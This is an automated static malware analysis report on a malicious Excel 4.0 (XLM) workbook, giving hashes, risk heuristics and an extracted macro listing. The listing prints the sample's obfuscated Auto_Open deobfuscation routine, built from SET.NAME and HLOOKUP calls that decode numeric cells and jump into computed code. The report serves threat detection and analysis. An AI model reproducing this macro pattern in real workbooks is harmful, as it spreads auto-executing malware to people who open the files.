Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 234d90f940ebe135…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:40:42 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: d17616fc18cbfc73e52a9a15a045bc5f SHA-1: e7db7716125441b5e3cce34312f7c7ced6e74ee4 SHA-256: 234d90f940ebe135af75c235d16578bcc3e99a213be1bc552323d85d2b992069
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6766 bytes
SHA-256: 9e65985645f8a236df63434f30b5734f32ebebb9ebee3095638f0d1f35966517
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  bRsYc
' 0018     27 LABEL : Cell Value, String Constant - aLpZYyMWeUMR len=0 
' 0018     24 LABEL : Cell Value, String Constant - asbGTTDNc len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!E142 
' 0018     26 LABEL : Cell Value, String Constant - bwiCbLUAeHw len=0 
' 0018     26 LABEL : Cell Value, String Constant - CmLtyApDHvB len=0 
' 0018     27 LABEL : Cell Value, String Constant - DaaPXVhaxLXY len=0 
' 0018     27 LABEL : Cell Value, String Constant - GmcLwVcTPFwX len=0 
' 0018     25 LABEL : Cell Value, String Constant - ivpQRAFgqi len=0 
' 0018     26 LABEL : Cell Value, String Constant - mFEyiUWLBYF len=0 
' 0018     25 LABEL : Cell Value, String Constant - oMnQksQIyX len=0 
' 0018     26 LABEL : Cell Value, String Constant - QekNHrQHcJi len=0 
' 0018     27 LABEL : Cell Value, String Constant - sCjgMvbhfJOM len=0 
' 0018     26 LABEL : Cell Value, String Constant - THQoNTiUupG len=0 
' 0018     27 LABEL : Cell Value, String Constant - uAFIDAHHpxBG len=0 
' 0018     24 LABEL : Cell Value, String Constant - UBYUIaFNm len=0 
' 0018     21 LABEL : Cell Value, String Constant - UgkwnY len=0 
' 0018     23 LABEL : Cell Value, String Constant - ulDNUiax len=0 
' 0018     25 LABEL : Cell Value, String Constant - WLBdgTWNlV len=0 
' 0018     20 LABEL : Cell Value, String Constant - WnEWf len=0 
' 0018     26 LABEL : Cell Value, String Constant - WuytuuyXUxy len=0 
' 0018     27 LABEL : Cell Value, String Constant - xLsXvJclVwcV len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  bRsYc,E48,"SET.NAME("WnEWf",0+VALUE("0"))",""
'  bRsYc,E52,"SET.NAME("ulDNUiax",WnEWf)",""
'  bRsYc,Q53,"",-582.00000000000000000000
'  bRsYc,Q54,"",-562.00000000000000000000
'  bRsYc,E55,"SET.NAME("bwiCbLUAeHw",WnEWf)",""
'  bRsYc,Q55,"",-641.00000000000000000000
'  bRsYc,Q56,"",-280.00000000000000000000
'  bRsYc,Q57,"",-1.00000000000000000000
'  bRsYc,Q58,"",619.00000000000000000000
'  bRsYc,E60,"SET.NAME("UgkwnY",COUNTA(xLsXvJclVwcV))",""
'  bRsYc,E64,"SET.NAME("GmcLwVcTPFwX",COUNTA(WLBdgTWNlV))",""
'  bRsYc,E68,[],""
'  bRsYc,E73,"SET.NAME("ivpQRAFgqi","")",""
'  bRsYc,E77,"ulDNUiax",""
'  bRsYc,E82,"SET.NAME("aLpZYyMWeUMR",HLOOKUP("*",xLsXvJclVwcV,ulDNUiax,FALSE))",""
'  bRsYc,E85,"oMnQksQIyX",""
'  bRsYc,E87,"SET.NAME("QekNHrQHcJi",WnEWf)",""
'  bRsYc,E91,[],""
'  bRsYc,E93,"QekNHrQHcJi",""
'  bRsYc,E98,"UBYUIaFNm",""
'  bRsYc,E100,"mFEyiUWLBYF",""
'  bRsYc,E102,"DaaPXVhaxLXY",""
'  bRsYc,E105,"SET.NAME("THQoNTiUupG",VALUE(HLOOKUP("*",WLBdgTWNlV,DaaPXVhaxLXY,FALSE)))",""
'  bRsYc,E110,"WuytuuyXUxy",""
'  bRsYc,E114,"ivpQRAFgqi",""
'  bRsYc,E119,"bwiCbLUAeHw",""
'  bRsYc,E121,NEXT(),""
'  bRsYc,E126,"sCjgMvbhfJOM",""
'  bRsYc,E131,[],""
'  bRsYc,E133,"uAFIDAHHpxBG",""
'  bRsYc,E135,NEXT(),""
'  bRsYc,E137,RETURN(),""
'  bRsYc,E164,"SET.NAME("asbGTTDNc",E48)",""
'  bRsYc,E168,"xLsXvJclVwcV",""
'  bRsYc,E172,"SET.NAME("WLBdgTWNlV",R74C14)",""
'  bRsYc,E175,"SET.NAME("uAFIDAHHpxBG",185)",""
'  bRsYc,E180,"SET.NAME("CmLtyApDHvB",5)",""
'  bRsYc,E184,asbGTTDNc(),""
'  bRsYc,E185,HALT(),""

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